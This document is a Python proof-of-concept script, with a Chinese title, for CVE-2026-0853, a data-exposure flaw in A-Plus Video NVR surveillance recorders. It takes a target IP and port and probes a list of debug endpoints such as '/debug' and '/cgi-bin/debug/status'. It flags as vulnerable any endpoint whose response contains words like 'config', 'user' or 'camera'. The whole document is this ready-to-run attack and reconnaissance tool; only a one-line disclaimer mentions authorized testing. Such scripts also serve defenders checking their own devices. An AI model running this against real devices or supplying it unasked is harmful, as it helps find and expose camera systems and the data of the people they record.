CVE-2026-0853 A-Plus Video NVR 敏感数据泄露漏洞

#!/usr/bin/env python3 """ CVE-2026-0853 PoC - A-Plus Video NVR Sensitive Data Exposure Note: This PoC is for educational and authorized testing purposes only. """ import requests import sys import json def check_vulnerability(target_ip, port=80): """Check if target NVR is vulnerable to CVE-2026-0853""" # Common debug endpoints for A-Plus Video NVR debug_endpoints = [ '/debug', '/debug/status', '/debug/info', '/cgi-bin/debug', '/cgi-bin/debug/status', '/api/debug', '/api/debug/status' ] headers = { 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36', 'Accept': '*/*' } vulnerable_endpoints = [] for endpoint in debug_endpoints: try: url = f"http://{target_ip}:{port}{endpoint}" response = requests.get(url, headers=headers, timeout=10, verify=False) # Check if endpoint is accessible and returns sensitive data if response.status_code == 200: content = response.text.lower() # Check for sensitive keywords in response sensitive_keywords = ['cpu', 'memory', 'disk', 'status', 'config', 'network', 'user', 'camera'] matches = sum(1 for keyword in sensitive_keywords if keyword in content) if matches >= 2: vulnerable_endpoints.append({ 'endpoint': endpoint, 'status_code': response.status_code, 'content_length': len(response.text) }) print(f"[+] VULNERABLE: {url}") print(f" Status: {response.status_code}, Length: {len(response.text)}") except requests.exceptions.RequestException as e: print(f"[-] Error accessing {endpoint}: {e}") return vulnerable_endpoints def main(): if len(sys.argv) < 2: print("Usage: python cve-2026-0853-poc.py <target_ip> [port]") print("Example: python cve-2026-0853-poc.py 192.168.1.100 80") sys.exit(1) target = sys.argv[1] port = int(sys.argv[2]) if len(sys.argv) > 2 else 80 print(f"[*] Scanning {target}:{port} for CVE-2026-0853...") print("=" * 60) results = check_vulnerability(target, port) print("=" * 60) if results: print(f"[+] Found {len(results)} vulnerable endpoint(s)") print("[!] Target is VULNERABLE to CVE-2026-0853") else: print("[-] No vulnerable endpoints found") print("[*] Target may not be vulnerable or is not an affected NVR device") if __name__ == "__main__": main()